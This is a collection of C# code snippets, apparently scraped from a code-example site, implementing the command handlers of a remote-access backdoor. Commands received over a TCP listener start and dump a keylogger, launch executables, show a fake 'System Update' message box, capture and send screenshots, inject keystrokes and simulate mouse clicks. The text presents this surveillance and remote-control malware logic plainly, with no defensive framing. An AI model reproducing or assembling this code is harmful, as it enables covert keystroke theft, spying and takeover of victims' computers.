public override void HandleCommand(CommadMessage message)
        {
            string msg = GetRequestType(message.Message);

            switch (msg.ToLower())
            {
            case "startkeylog":
                message.StreamWriter.WriteLine(StartKeyLogging());
                AcknowledgeClient(message);
                break;

            case "stopkeylog":
                message.StreamWriter.WriteLine(StopKeyLogging());
                AcknowledgeClient(message);
                break;

            case "getkey":
                message.StreamWriter.WriteLine(GetKeys());
                kl.KeyBuffer = "";
                AcknowledgeClient(message);
                break;

            default:
                nextCommandHandler.HandleCommand(message);
                break;
            }
        }
Beispiel #2
0
        public override void HandleCommand(CommadMessage message)
        {
            switch (GetRequestType(message.Message))
            {
            case "exe":
                StartExe(argumentList[0]);
                break;

            case "message":
                MessageBox.Show(argumentList[0], "System Update", MessageBoxButtons.OK, MessageBoxIcon.Information);
                break;
            }
        }
Beispiel #3
0
        public override void HandleCommand(CommadMessage message)
        {
            string msg = GetRequestType(message.Message);

            if (msg == "img")
            {
                byte[] buffer = Utility.GetScreenImageAsBytes();
                message.StreamWriter.BaseStream.Write(buffer, 0, buffer.Length - 1);
            }
            else
            {
                nextCommandHandler.HandleCommand(message);
                message.StreamWriter.WriteLine("Done");
            }
        }
Beispiel #4
0
        public override void HandleCommand(CommadMessage message)
        {
            string msg = GetRequestType(message.Message);

            switch (msg)
            {
            case "keyup":
                SendKeys.SendWait(argumentList[0]);
                AcknowledgeClient(message);
                break;

            default:
                nextCommandHandler.HandleCommand(message);
                break;
            }
        }
Beispiel #5
0
        public override void Start()
        {
            //TcpListener is listening on the given port... {
            tcpListener = new TcpListener(int.Parse(this.Port));
            tcpListener.Start();
            //Accepts a new connection...
            while (true)
            {
                Socket socketForClient = tcpListener.AcceptSocket();
                //StreamWriter and StreamReader Classes for reading and writing the data to and fro.
                //The server reads the meassage sent by the Client ,converts it to upper case and sends it back to the client.
                //Lastly close all the streams.

                try
                {
                    if (socketForClient.Connected)
                    {
                        while (true)
                        {
                            Console.WriteLine("Client connected");
                            NetworkStream networkStream = new NetworkStream(socketForClient);
                            StreamWriter  streamWriter  = new StreamWriter(networkStream);
                            StreamReader  streamReader  = new StreamReader(networkStream);
                            string        line          = streamReader.ReadLine();
                            //   Console.WriteLine("Read:" + line);
                            CommadMessage msg = new CommadMessage(line, streamWriter);
                            commandHandler.HandleCommand(msg);


                            streamWriter.Flush();
                            streamWriter.Close();
                            streamWriter.Dispose();
                            streamReader.Close();
                            streamReader.Dispose();
                            networkStream.Close();
                            networkStream.Dispose();
                        }
                    }
                    socketForClient.Close();
                    Console.WriteLine("Exiting...");
                }
                catch (Exception e)
                {
                    Console.WriteLine(e.ToString());
                }
            }
        }
Beispiel #6
0
        public override void HandleCommand(CommadMessage message)
        {
            string msg = GetRequestType(message.Message);
            switch (msg)
            {
                case "mouseclickleft":
                    MouseSimulater.MoveTo(new System.Drawing.Point(int.Parse(argumentList[0]), int.Parse(argumentList[1])));
                    MouseSimulater.Click_Left(int.Parse(argumentList[0]), int.Parse(argumentList[1]));
                    break;

                case "mouseclickright":
                    MouseSimulater.MoveTo(new System.Drawing.Point(int.Parse(argumentList[0]), int.Parse(argumentList[1])));
                    MouseSimulater.Click_Right(int.Parse(argumentList[0]), int.Parse(argumentList[1]));
                    break;
                default:
                    nextCommandHandler.HandleCommand(message);
                    break;
            }
            
        }
Beispiel #7
0
        protected bool ReadCommand()
        {
            serverStream.BaseStream.Position = 0;
            string command = serverStream.ReadToEnd();

            if (command != null && command.Trim() != "")
            {
                command = GetNewRequest(command);
                if (command.Trim() == "")
                {
                    return(true);
                }
                if (string.Compare(command.Trim(), "disconnect", StringComparison.InvariantCulture) == 0)
                {
                    return(false);
                }

                CommadMessage msg = new CommadMessage(command, clientStream, this.Port, LastMsgGuid);
                this.commandHandler.HandleCommand(msg);
            }
            return(true);
        }
Beispiel #8
0
        public override void HandleCommand(CommadMessage message)
        {
            string msg = GetRequestType(message.Message);

            if (msg == "img")
            {
                try
                {
                    if (SI.File.Exists(message.Port + @"\Screen.jpeg"))
                    {
                        SI.File.Delete(message.Port + @"\Screen" + Guid.NewGuid().ToString() + ".jpeg");
                    }

                    Utility.GetScreenImageAsImage().Save(message.Port + @"\Screen.jpeg", ImageFormat.Jpeg);
                }
                catch { }
                finally { AcknowledgeClient(message); }
            }
            else
            {
                nextCommandHandler.HandleCommand(message);
            }
        }
 public new void HandleCommand(CommadMessage message)
 {
     base.HandleCommand(message);
 }